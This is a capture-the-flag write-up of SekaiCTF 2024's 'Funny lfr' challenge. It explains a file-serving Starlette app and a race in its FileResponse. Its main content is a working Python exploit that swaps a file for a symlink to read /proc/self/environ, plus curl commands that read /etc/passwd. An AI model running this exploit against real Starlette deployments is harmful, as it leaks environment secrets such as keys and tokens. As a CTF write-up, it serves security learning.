SekaiCTF 2024 Funny lfr Writeup

Published:
September 17, 2024

This is a writeup for the SekaiCTF 2024 Funny lfr machine.

Challenge Notes

Funny lfr

Author: irogir

❖ Note You can access the challenge via SSH: ncat -nlvp 2222 -c "ncat --ssl funny-lfr.chals.sekai.team 1337" & ssh -p2222 user@localhost

SSH access is only for convenience and is not related to the challenge.

Solution Summary

Starlette’s FileResponse does not handle files swapped out under it very well. This can be used to trick it into reading out 0-size files, such as files contained in the /proc file system. We read out the flag from /proc/self/environ using this method and solve the challenge.

Solution

The steps to solving this challenge are:

  1. Investigate the source code.
  2. Test the local file inclusion mechanism.
  3. Understand how /proc file system file sizes work.
  4. Inspect the challenge machine on chals.sekai.team.
  5. Identify the conditions for triggering a race condition.
  6. Craft an exploit script and run it on a challenge machine.

Inspecting the Dockerfile and application script

First, we download the Dockerfile and app.py from the following URLs:

The application is quite simple and just serves any file that the user requests:

from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse


async def download(request):
    return FileResponse(request.query_params.get("file"))


app = Starlette(routes=[Route("/", endpoint=download)])

The application mainly relies on these three libraries:

To make debugging simpler, we adjust the Dockerfile a bit to use a full Debian install and come up with the following:

FROM debian:12

RUN apt update
RUN apt install -y python3 python3-pip python3-venv
RUN python3 -m venv /venv
RUN /venv/bin/pip install --no-cache-dir starlette uvicorn

WORKDIR /app

COPY app.py .

ENV FLAG="SEKAI{test_flag}"

CMD ["/venv/bin/uvicorn", "app:app", "--host", "0", "--port", "1337"]

The application is started up with the challenge flag in its process environment. The challenge can be solved by tricking the application into reading out its process environment and returning it in a HTTP response.

Testing for local file inclusion (LFI)

The Dockerfile builds and runs with podman using the following commands:

podman build --file Dockerfile -t funnylfr
podman run --replace -p 1337:1337 --name funnylfr funnylfr

Once the Funny lfr machine is running, we try to see if file inclusion works by running the following:

curl "localhost:1337/?file=/etc/passwd"

To no big surprise, the contents of /etc/passwd are returned.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

About /proc file system file sizes

But, the FLAG environment variable is in the process environment, not in a file. On Linux, processes can read out various information about themselves using the /proc file system. Conveniently, the current process can be found in /proc/self. To read out the current processes environment variables, we can run

cat /proc/self/environ

Wouldn’t it be nice if the following command gave us the flag?

curl "localhost:1337/?file=/proc/self/environ"

Unfortunately, it won’t. Starlette’s FileReponse class needs to know the file size in advance to generate a correct Content-Length HTTP header. Since files in /proc have generally a 0 size (with few exceptions), the size can not be known ahead of the time and the file has to be read out first.

For the above reason, the following response can not be resolved correctly in Starlette:

FileResponse("/proc/self/environ")

Starlette will then wrongly think that the file has size 0, and act all surprised and error out when there is something to read. Since Starlette’s FileResponse does not support streaming responses and has to read the whole file, the download request at / will crash. Interestingly, it will not crash visibly to the user, unless we purposefully read “too much” of the HTTP response.

HTTP responses are not meant to have their body read if the Content-Length is 0. In hindsight that makes sense, yo. The same goes for a fun bug where applications refuse to read the body of HTTP responses with the code 204 No Content. Again, that makes sense, since you would not tell a browser No Content and then give it a content, but it’s still somewhat surprising to most users.

Stack Overflow: Why does Firefox have a problem with this 204 (No Content) response?

Before continuing with this conundrum, we poke around the machine a bit and connect to a freshly spawned instance.

Inspecting the machine

We use the SSH connection string as suggested by the challenge notes and connect to a our instance:

ncat -nlvp 2222 -c "ncat --ssl funny-lfr-XXXXXXXXXXXX.chals.sekai.team 1337" &
  ssh -p2222 user@localhost

We see that this machines runs on Kubernetes, judging by the contents of the /etc/hosts file:

user@funny-lfr-XXXXXXXX-700:~$ df
Filesystem     1K-blocks     Used Available Use% Mounted on
overlay         98831908 44033516  54782008  45% /
tmpfs              65536        0     65536   0% /dev
/dev/sda1       98831908 44033516  54782008  45% /etc/hosts
shm                65536        0     65536   0% /dev/shm
tmpfs           32926984        0  32926984   0% /proc/acpi
tmpfs           32926984        0  32926984   0% /proc/scsi
tmpfs           32926984        0  32926984   0% /sys/firmware
user@funny-lfr-XXXXXXXX-700:~$ cat /etc/hosts
# Kubernetes-managed hosts file. <------ kubernetes yoooo
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.0.1.75       funny-lfr-XXXXXXXX-700

Finding a race condition

Investigating the code and determining why Starlette tries to return a response at all, if the file is empty, we stumble upon these pieces of code:

# h11/_writers.py
# ...
class ContentLengthWriter(BodyWriter):
    # ...
    def send_data(self, data: bytes, write: Writer) -> None:
        self._length -= len(data)
        if self._length < 0:
            raise LocalProtocolError("Too much data for declared Content-Length")
        write(data)
# ...

Writing the Content-Length header appears to be delegated to the h11 library. On the other hand, Starlette appears to first determine the size of the file using os.stat, and then awkwardly sends the file over to the client, even if it has 0 bytes:

# starlette/responses.py
# ...
class FileResponse(Response):
    # ...
    def __init__(
        self,
        path: str | os.PathLike[str],
        # ...
    ) -> None:
        # ...
        self.stat_result = stat_result
        if stat_result is not None:
            self.set_stat_headers(stat_result)

    def set_stat_headers(self, stat_result: os.stat_result) -> None:
        # HTTP header Content-Length comes from os.stat()
        content_length = str(stat_result.st_size)
        # ....
        self.headers.setdefault("content-length", content_length)
        # ...

    async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
        if self.stat_result is None:
            try:
                stat_result = await anyio.to_thread.run_sync(os.stat, self.path)
                self.set_stat_headers(stat_result)
            # ...
        await send(
            {
                "type": "http.response.start",
                "status": self.status_code,
                "headers": self.raw_headers,
            }
        )
        # ...
            async with await anyio.open_file(self.path, mode="rb") as file:
                more_body = True
                while more_body:
                    # !!!!!
                    # Starlette will try to read out the full file, even if
                    # the os.stat() size is 0!
                    chunk = await file.read(self.chunk_size)
                    more_body = len(chunk) == self.chunk_size
                    await send(
                        {
                            "type": "http.response.body",
                            "body": chunk,
                            "more_body": more_body,
                        }
                    )
        # ...

Calling send, receive, invoke h11 code, including the one shown above. The h11 and Starlette interoperability is brokered by uvicorn.

The fact that Starlette reads out the file size, and then still reads file chunks even if the file size is 0 suggests that the FileResponse code is vulnerable to a race condition.

We can trigger the above h11 response error, by running the following Curl invocation:

curl --http0.9 "localhost:1337/?file=/proc/self/environ" \
  "localhost:1337/?file=/proc/self/environ"

By reading too much from the first request, we provoke the application into running FileResponse.__call__() until the end and triggering the h11 exception as shown below in the application log. Of course the Curl client notices nothing and receives a 200 OK response every time.

INFO:     127.0.0.1:56022 - "GET /?file=/proc/self/environ HTTP/1.1" 200 OK
ERROR:    Exception in ASGI application
[...]
  File "/usr/local/lib/python3.9/site-packages/starlette/responses.py", line 348, in __call__
    await send(
  File "/usr/local/lib/python3.9/site-packages/starlette/_exception_handler.py", line 50, in sender
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/starlette/_exception_handler.py", line 50, in sender
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/starlette/middleware/errors.py", line 161, in _send
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/uvicorn/protocols/http/h11_impl.py", line 503, in send
    output = self.conn.send(event=h11.Data(data=data))
  File "/usr/local/lib/python3.9/site-packages/h11/_connection.py", line 512, in send
    data_list = self.send_with_data_passthrough(event)
  File "/usr/local/lib/python3.9/site-packages/h11/_connection.py", line 545, in send_with_data_passthrough
    writer(event, data_list.append)
  File "/usr/local/lib/python3.9/site-packages/h11/_writers.py", line 65, in __call__
    self.send_data(event.data, write)
  File "/usr/local/lib/python3.9/site-packages/h11/_writers.py", line 91, in send_data
    raise LocalProtocolError("Too much data for declared Content-Length")
h11._util.LocalProtocolError: Too much data for declared Content-Length
INFO:     127.0.0.1:56026 - "GET /?file=/proc/self/environ HTTP/1.1" 200 OK

The following is Starlette’s FileResponse behavior when reading /proc file system files:

  1. A client requests a file /proc/self/environ file from the application.
  2. The file size is evaluated (size 0) and stored in the FileResponse class instance.
  3. The headers are set and sent using h11 (await send({"type": "http.response.start"})) inside FileResponse.call().
  4. The file is read out in the same function using anyio.open_file() and read out chunk by chunk (await file.read(self.chunk_size) and sent using h11 (await send({"type": "http.response.body", ...})).
  5. h11 will complain that there is nothing to return and crash the request with “Too much data for declared Content-Length”.

If we can convince Starlette that the file has a proper size, we can have it read out the whole file. /proc file system file sizes are set in stone, but we can give it a different file with the correct size, have it os.stat its size, and then swap it out for a symbolic to /proc/self/environ.

Our evil exploit plan will try to trigger the following behavior:

  1. Our evil exploit chooses an arbitrary size i.
  2. Our evil exploit writes a canary file containing i times the ASCII character f in /tmp/pwnage (classic debug trick: write easy to spot ASCII chars).
  3. Our evil exploit requests the file /tmp/pwnage file from the application.
  4. The file size is evaluated (size i) and stored in the FileResponse class instance.
  5. The headers are set and sent using h11 (await send({"type": "http.response.start"})) inside FileResponse.call().
  6. Our evil exploit swaps out /tmp/pwnage and places a symbolic link to /proc/self/environ there instead.
  7. The file is read out in the same function using anyio.open_file() and read out chunk by chunk (await file.read(self.chunk_size) and sent using h11 (await send({"type": "http.response.body", ...})).
  8. If the file could not be read out, try a different size i and go to step 2
  9. Our evil exploit receives the flag in /proc/self/environ through the /tmp/pwnage symbolic link.

Crafting an exploit Python script

We know that we have to stall the application as much as possible between sending the response header and body. We craft the following exploit in Python:

import os
import os.path
import http.client
import tempfile
from typing import Optional

# The file that we'd like to read out:
target = '/proc/self/environ'
# The smallest size of `i` that we try
min_len = 4
# The largest size of `i` that we try
max_len = 2000

def attempt(len: int) -> Optional[bytes]:
    conn = http.client.HTTPConnection("localhost", 1337)
    try:
        while True:
            with tempfile.TemporaryDirectory() as tmpdir:
                read_here_path = os.path.join(tmpdir, "read_here")
                symlink_path = os.path.join(tmpdir, "target")
                # 1. Given size `i`,
                # 2. Create the canary file
                canary = b'f' * len
                with open(read_here_path, "wb") as fd:
                    fd.write(canary)
                    fd.close()
                os.symlink(target, symlink_path)
                # 3. Request the file from the server
                # 4. Starlette will think that the file has length `i`
                # 5. Starlette sends Content-Length: `i` header back
                conn.request("GET", "/?file=" + read_here_path)
                response = conn.getresponse()
                # 6. Swap the canary file with symlink to `/proc/self/environ`
                os.replace(symlink_path, read_here_path)
                # 7. Starlette gives us the target file now
                data = response.read(len)
                # 8. If the file is full of our canary `f` ASCII character, we
                # know that the race condition was not triggered
                if data == canary:
                    print("try again")
                # 8. If the file is empty, we know that we triggered the race
                # condition, but guessed the wrong length
                elif data == b"":
                    print("almost", len)
                    return None
                # 9. If we have a proper answer, we have our file:
                else:
                    print("yes", len)
                    return data
    finally:
        conn.close()

def main():
    # Try from 4 ... 2000 until we receive a proper response
    for i in range(min_len, max_len):
        result = attempt(i)
        if result is not None:
            print(result)
            return


if __name__ == "__main__":
    main()

We connect to the Funny lfr instance, copy the exploit, and run it there by pasting the following snippet into the shell:

cat > client.py <<EOF
# script from above goes here
EOF
python3 client.py

The script runs for a while, extracts the process environment, and we retrieve the flag.

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

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